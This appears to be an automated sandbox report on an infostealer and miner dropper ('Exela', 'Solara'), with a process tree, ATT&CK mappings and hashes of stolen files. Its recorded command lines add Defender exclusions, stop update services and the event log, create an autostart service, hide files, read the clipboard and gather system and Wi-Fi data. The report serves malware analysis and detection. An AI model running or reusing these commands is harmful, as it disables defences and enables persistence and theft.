T1564.001

pid	Process
1604	attrib.exe

C:\Users\Admin\AppData\Local\Temp\b1883486b5e6da993af6deb6f4d0f524ccdc6317bdc32ed50dccd1799867a3bd.exe
"C:\Users\Admin\AppData\Local\Temp\b1883486b5e6da993af6deb6f4d0f524ccdc6317bdc32ed50dccd1799867a3bd.exe"
1⤵
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2032
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Solara.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1740
- C:\Users\Admin\AppData\Local\Temp\Solara.exe
  "C:\Users\Admin\AppData\Local\Temp\Solara.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1984
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3080
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:2348
  - - C:\Windows\system32\wusa.exe
      wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      PID:3124
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:636
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:2036
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop wuauserv
    3⤵
    - Launches sc.exe
    PID:4608
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop bits
    3⤵
    - Launches sc.exe
    PID:4352
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop dosvc
    3⤵
    - Launches sc.exe
    PID:2460
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
    3⤵
    - Power Settings
    PID:1328
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
    3⤵
    - Power Settings
    PID:2172
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
    3⤵
    - Power Settings
    PID:2604
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
    3⤵
    - Power Settings
    PID:4244
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe delete "PGYNROQK"
    3⤵
    - Launches sc.exe
    PID:1544
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe create "PGYNROQK" binpath= "C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe" start= "auto"
    3⤵
    - Launches sc.exe
    PID:1236
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop eventlog
    3⤵
    - Launches sc.exe
    PID:184
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe start "PGYNROQK"
    3⤵
    - Launches sc.exe
    PID:992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Exela.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4596
- C:\Users\Admin\AppData\Local\Temp\Exela.exe
  "C:\Users\Admin\AppData\Local\Temp\Exela.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1668
- - C:\Users\Admin\AppData\Local\Temp\Exela.exe
    "C:\Users\Admin\AppData\Local\Temp\Exela.exe"
    3⤵
    - Deletes itself
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:4720
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:3712
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4664
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        5⤵
        Detects videocard installed
        Suspicious use of AdjustPrivilegeToken
        
        PID:2464
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic computersystem get Manufacturer"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2160
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic computersystem get Manufacturer
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5016
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "gdb --version"
      4⤵
      PID:2172
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4728
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:3664
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic path Win32_ComputerSystem get Manufacturer"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3944
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path Win32_ComputerSystem get Manufacturer
        5⤵
        
        PID:1820
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1488
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        5⤵
        
        PID:4012
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1556
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:2208
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe""
      4⤵
      Hide Artifacts: Hidden Files and Directories
      Suspicious use of WriteProcessMemory
      PID:1968
    - - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe"
        5⤵
        Views/modifies file attributes
        
        PID:1604
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5036
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:4192
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2896
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c chcp
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2492
      - C:\Windows\system32\chcp.com
        
        chcp
        6⤵
        
        PID:4952
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:972
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c chcp
        5⤵
        
        PID:2020
      - C:\Windows\system32\chcp.com
        
        chcp
        6⤵
        
        PID:2072
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2516
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        5⤵
        Enumerates processes with tasklist
        
        PID:5060
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"
      4⤵
      Clipboard Data
      Suspicious use of WriteProcessMemory
      PID:3628
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Get-Clipboard
        5⤵
        Clipboard Data
        Suspicious behavior: EnumeratesProcesses
        
        PID:2308
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
      4⤵
      Network Service Discovery
      PID:3456
    - - C:\Windows\system32\systeminfo.exe
        
        systeminfo
        5⤵
        Gathers system information
        
        PID:4240
    - - C:\Windows\system32\HOSTNAME.EXE
        
        hostname
        5⤵
        
        PID:100
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic logicaldisk get caption,description,providername
        5⤵
        Collects information from the system
        
        PID:3416
    - - C:\Windows\system32\net.exe
        
        net user
        5⤵
        
        PID:3948
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user
        6⤵
        
        PID:3384
    - - C:\Windows\system32\query.exe
        
        query user
        5⤵
        
        PID:1216
      - C:\Windows\system32\quser.exe
        
        "C:\Windows\system32\quser.exe"
        6⤵
        
        PID:3632
    - - C:\Windows\system32\net.exe
        
        net localgroup
        5⤵
        
        PID:4728
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup
        6⤵
        
        PID:1076
    - - C:\Windows\system32\net.exe
        
        net localgroup administrators
        5⤵
        
        PID:4148
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup administrators
        6⤵
        
        PID:2368
    - - C:\Windows\system32\net.exe
        
        net user guest
        5⤵
        
        PID:4316
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user guest
        6⤵
        
        PID:1488
    - - C:\Windows\system32\net.exe
        
        net user administrator
        5⤵
        
        PID:2092
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user administrator
        6⤵
        
        PID:2088
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic startup get caption,command
        5⤵
        
        PID:1136
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /svc
        5⤵
        Enumerates processes with tasklist
        
        PID:2772
    - - C:\Windows\system32\ipconfig.exe
        
        ipconfig /all
        5⤵
        Gathers network information
        
        PID:3120
    - - C:\Windows\system32\ROUTE.EXE
        
        route print
        5⤵
        
        PID:4932
    - - C:\Windows\system32\ARP.EXE
        
        arp -a
        5⤵
        Network Service Discovery
        
        PID:4740
    - - C:\Windows\system32\NETSTAT.EXE
        
        netstat -ano
        5⤵
        System Network Connections Discovery
        Gathers network information
        
        PID:5040
    - - C:\Windows\system32\sc.exe
        
        sc query type= service state= all
        5⤵
        Launches sc.exe
        
        PID:1456
    - - C:\Windows\system32\netsh.exe
        
        netsh firewall show state
        5⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:2200
    - - C:\Windows\system32\netsh.exe
        
        netsh firewall show config
        5⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:2692
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:4632
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:4808
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
      4⤵
      PID:3416
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        5⤵
        
        PID:3408
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
      4⤵
      PID:4544
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        5⤵
        
        PID:2032

C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe
C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:4284
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:2084
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  PID:960
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:2260
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:1252
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:2072
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:4560
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:5060
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:3184
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  PID:3076
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  PID:224
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  PID:3100
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  PID:3288
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:1580
- C:\Windows\system32\conhost.exe
  conhost.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4352

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Power Settings

T1653

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Network Service Discovery

T1046

Permission Groups Discovery

T1069

Local Groups

T1069.001

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

System Network Connections Discovery

T1049

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Temp\Exela.exe

Filesize
9.5MB

MD5
0615d49be12c174704a3daad945f7b56

SHA1
90d67801dcff362ce2c2accafd5010c7f79567d6

SHA256
573a7f2fa701a7630318119d9e6d916cb8a0acd87a0a2797b7197e9ae85c0071

SHA512
40d702b8fd2993aeeb09755e760d3611d76f927ae6831ab7066386d3a133257e06330ddff2d28406b77c1d9e502e79a7a72b8984ce0d795948da07dd03b9bea9

Download Submit
C:\Users\Admin\AppData\Local\Temp\Solara.exe

Filesize
5.3MB

MD5
089094590df5698b03a7428a5864ed33

SHA1
6a4866b798a38e40b61095e2c4a6861b15f4cabb

SHA256
c3b138b65057d5a27d859763974a3afe5df2693ce64326d36ae8784d092929c7

SHA512
001c4aeeddcbfaa9b979e81b742391c6ec6f9400b23b8b5827c69c7e8c36bd9e8576146f0487c3522deca21e1488a36c948dff3c69b2c441406f2081ead09e4d

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Desktop\CompareAdd.docx

Filesize
401KB

MD5
e46a14269f129e6582a57528f8fa68ea

SHA1
1bc777befd61e6e2c4106113bd0d9a1ba81f7bf8

SHA256
e2edc520ca77dff651cddf1cfdc1b16ae79577ffcf4c3ca4e87625bd208a8f74

SHA512
b99fd4e9b03a3b3ea531dd2c3d1616c5e5ff57466cf98ecab1555b13fd1af7c3b27878a34b3af48f6125f123a78ff5e8722a2b34908bd5688be0b16b16478d1c

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Desktop\ConvertJoin.docx

Filesize
14KB

MD5
f5ad7d94331acf687ac119de01df0234

SHA1
1d011ed1da63daf8f91deabb4c19544479bb48ea

SHA256
53f1a99e8ab04132a3e4204ab6bad841ec9a0c5eebe98474dcf7e43bf8fb9f98

SHA512
815d907879e9709486e803f99e21431a2558fed1337134338ac1e8f86d7ecba0b02cb92512ee0cd85b750a038fd0177d62c98c250d175b15638bccac0e00ac1b

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Desktop\CopySelect.docx

Filesize
14KB

MD5
d497de7fb4eb2da08ebcb20a985f4fd9

SHA1
51f31b2b3c8ee650db27de0a528fa42aa6ec94a2

SHA256
119c3630a86a83e51112ccda50b0f90be761b547598ad263892cabfc5b04f2ba

SHA512
289bdb7905756c0d2ca615532d7d6e73b43117d51cd109a5909ef77f8ee36203a251a9bbcce27eb285df53a9ddb44d62b20c51f23b9b0cd0624e32952b790ab0

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Desktop\EnableResume.txt

Filesize
562KB

MD5
0b6d6a18a548fbfb10855cc108a5a99f

SHA1
8b769af0d368d6575c5ac4cd871ec1e53c1f0264

SHA256
b00879ea232c85abeba8743c58ee974d323ed4a619b39034e11c920cd2192b56

SHA512
f9075266e43f69eeb48a5e9c1991029ae1804251f917467f0eae63444d928dbc5b192390151406de6e52b83c0c9b2c6f30d617a9a26bcbc1e0a77e6fc0d1ac2b

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Desktop\InvokeConvertFrom.jpeg

Filesize
591KB

MD5
bdc8b9377a1e803ead3a884227b3297e

SHA1
ad234413f4e914b4af879178300a4635ac6939ac

SHA256
110e7a0418a4580fc1e1417f631f8d926772b53bf0c92f50ca990296ba7e25d0

SHA512
c52a639e8bbf8ef4b9a1b34953ea5d57027b160308a00503a1aea4dc24708f1ff2383a8ddacada6effb928ad7519d45ea1a605cd1426056d7bb18ea877ee8962

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Desktop\OutRepair.docx

Filesize
16KB

MD5
f4ad92fc34afbf0a51568bb588378a5d

SHA1
72b5e594f3e5494f96ea838a14b0c0c1c97af86f

SHA256
1e05643380981b61bbf2d3e2a61cdb7a51d18bc2a905eba8c3e80ffa5ae2ec42

SHA512
832c86693cf3c5ea6d0ffb3fa9d40270a61de5d5b17e374d8c47ae7e8219a5a66a9ddbcc4e6b56df33178b3e6867b2add48e09ea67bdbbba2445eac2d37c2fd3

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Desktop\RevokeClear.xlsx

Filesize
11KB

MD5
ff25dc69d09ae640b8d49d227a4bfdc3

SHA1
92dbad10c9c099dcb1d1e4e19f255199657cd792

SHA256
8ed5eb8b5a7292bdccf33dedddfa1f3058805daa74f98b6ca0e1e9066befed54

SHA512
4fa6b0195e651e7da5f1f9b0735d416402adb9fe7c2908573685c0dc531547a14982fe0f3b77c01c9751f49af26ed3a577acc5ef915b3a14410612c9b4aebdbe

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Documents\AddTest.docx

Filesize
14KB

MD5
eef97916683be38e74f51bd91dc928fc

SHA1
8619a4d143c26c8b097e9b77932d13e245dd12ae

SHA256
b4d8706d924c1fbc7cec7e94eec6927466cc27cfc995521bff85d97bf07457d7

SHA512
0e3f3e6b4f3374bbf2a2d8805aadcf27a7acb1768982a338a8b9fd9a5945f4ca2d3509ab86f8405a777abf95eb230287ba56fbacf3f20a53474ce88961f487d6

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Documents\ConvertToSkip.docx

Filesize
20KB

MD5
196aff5eebf7938263eede580ac692ca

SHA1
3ceab6a500865fd8950293cc9169f1857a92f63a

SHA256
24127702e184e886f7eff06465e49d632afaafa891c48b833644fed0fcf256d8

SHA512
89d596c594eaba5829b6476687865b053569ceb025b9d762064a6fb65a9f5af1b9b79a8391df36a13b5f65644a3b741cd2691a1af1de39e916cffe75982f672c

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Documents\UninstallBackup.ppt

Filesize
4.6MB

MD5
bf2d093b2344c9390de1d45e0ffbd641

SHA1
0a839c7111da78a38d43a674dbbba5704f1303f9

SHA256
5c29d9b676cb7e803ba03c88375829c09337696cab8579f680797e9169161042

SHA512
df6fc782a6e42e0c883a5a5e8e5a8b2726f1a1014bf8181da7971c49cd26b3fad41f4289957ce558e49c81a8b96b427af42f55f21c347b554e0659451b324448

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Documents\UnregisterDisconnect.docx

Filesize
15KB

MD5
383353fc8576eec57216466decbd26f4

SHA1
c79e61d0054f3f1fc13590a893090c0b033a16f0

SHA256
a7363667bb5dc4b204c1bc127b3962a890782fbddee549026d8270124cc24ab5

SHA512
7cabe946090f21e19d826cae3b183d19818bb8dcdb2e759f6191cd634930a435f5de8e884163b568689a948136da47c3e877cd34f0909db41c9cf73411a53a10

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Documents\UseCompare.docx

Filesize
19KB

MD5
6421df43ad76a7693c6667536c19c766

SHA1
6ff8824a865172e822ef3af4113152ab30e03aa7

SHA256
3fb656ba74ad042fc4417bd0a7d0c211e4ceca5f60c02d6223044ebd424b3211

SHA512
54d83a0256c707e05788f80e9148d9b1627c8bfbb3ebc96ce318fa921351e53936634f501235e5e2b5c955da7693a483431b921e81bfaff605ca409fd3193120

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Documents\WaitPop.docx

Filesize
19KB

MD5
edca6ed5a94064dc3e83e3750b549464

SHA1
e9ab10593e3ae5648530d823554d7485d6a09b84

SHA256
0800c3693ab586a18767cee6600cc3b749ddbcb92c67cc89a170cfab1465f377

SHA512
a140877838835955b640fa6363603a152e8b3ee4298b699e8a72f854dec56c222570806e618091b55231055410b53779ddb801826d346160026f5c27f880a1e8

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Downloads\CompressConfirm.docx

Filesize
717KB

MD5
73d12b2a2b0f0cd2fc7b11622c9cd793

SHA1
da7848430185b30219279377d9473cff04472d5d

SHA256
d8ec31e7a2e03b9b238b16cfcd61906bf7853311d88130c88e92e60d42f9df31

SHA512
34752f3ac08f73564b94c885c9b62650666ea1654fea7a920103e7adfbf197cce242b71ae1b99aa2a2647bd1ba15c4dd6e6f9f9ddb3fcb634ca22365d3d21afb

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Downloads\CompressDismount.jpg

Filesize
502KB

MD5
f4f760821917240070ec69ac820bb9b9

SHA1
abffcc6b2b1b4883456c0d0d26104d55b7e44a73

SHA256
de9b00e5426f450dfb3e4566575005d7d26f2904ff73787cc70870a774726a94

SHA512
ac6976436c2201493469c09068f50c26bd889cebab02b9f14a25e090056292143033e627567a53cfec2527706353897ee4431a98e8e7ce8a2d1762282f78b80a

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Downloads\ConvertDeny.jpg

Filesize
430KB

MD5
8efc518ce912435d0d682301d3bdc111

SHA1
1e41af3c307face0a5959966c2931969b4fe57e8

SHA256
a24ea49ed5c99297ed07ec5264c673595816f812c1dd63e7b296c412cd8542cf

SHA512
052ad3213da0458424300c7b3b5b3c93f8a6b9e3d5e11166c5ebfcedf114fd3f5c8c17d70013353e9d6cdcd488e7d2a2314dbad045c18aa32ed13ebf415773e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Downloads\SaveClear.zip

Filesize
1.1MB

MD5
6ff75a16e138e7f1e56d29d9676cdcac

SHA1
e10eca017d191f8016109953ffdb737b2f911937

SHA256
5fa0deb0a4f553676ae697fea73e8b39252c3932ff9b8eec5a376430c2272ce6

SHA512
ba6cbf3985866464026b44639556de5236227f23daec354fa7e9702821f56d62806360acc862157a998fab6e276dfe9ea39705437df4c65fbebfa57ddd9fdb4b

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Downloads\SelectBackup.csv

Filesize
478KB

MD5
10f6d3acbfd75d5d25b3de5871b2d664

SHA1
09cf9a932faf97b8ca620d2fb5826918fb3cb2ac

SHA256
6cfa1cc98598df0d78817857dc5d96953d0dabe2591e4020480414f918637e41

SHA512
a1e1ddd6f6a172157c78cebd8e4dced98aeb3ebf19dc386d604e223f084534cc751a600db7a484a5a893a5ab0f5de602ebbea0505c690fd42063faaad043dca8

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Downloads\TraceStart.docx

Filesize
574KB

MD5
d4e43b34288d35947239ec5000087ae6

SHA1
fb0dad2143a23ad7b197c3cc189570699784f327

SHA256
00e49e0fe64ee89e255f2772f57f312825aeed52ca906ae4a8a9ff475b58f8a9

SHA512
db009e9445333e3f36235b6427259239019ff854c8b15a753432b73ed6e18fc32a63d56c36aff32a939ff2858ed9c021c791650791f05ff217720c09b656145f

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Music\EditRevoke.mp3

Filesize
250KB

MD5
bf7e15adbeb655653096499b1e8ddfbd

SHA1
b0d787813188b28afe8b835aea7305f7de9f8eae

SHA256
2662a6a9b135752d7b8b1a25c9e39ccb2b96cb13a8161cf8cc98c9bafc7a8e8e

SHA512
f61741b28de453e8e3ab260b5f75ef296a71b20194cd39683bd9fd1ea887b02a6e20f7e234d638c33cadec70b473be0ac8b17eb86e9a38bebe2d44433f2acee3

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Music\GroupWatch.jpg

Filesize
312KB

MD5
e5c359c2b7646d8f1c11ec98967c113d

SHA1
ee938ade99c8a873561c66da3f0fb5926b8573b5

SHA256
d1fcfdd4c08f2d45bd3603ed7297cbf23be3800c4bfd0b124a72d32fbad1e6f0

SHA512
2af747de2ae9ac3395afb2c261483bbce0a83424c30ea192222e05209d54a60814f09faad473085d3396f4796c36899721d850dbfd4336d4a5eae07b2c6410e2

Download Submit
C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Music\ImportDeny.docx

Filesize
325KB

MD5
1be3845ce135eb4a22726da6a787b13c

SHA1
bf9ab38ad3cb666407f4c917de94777c3de7d600

SHA256
62d91a7a5af24c530da6ade2eced77e2055c7680894506571da1c6b6aeb05796

SHA512
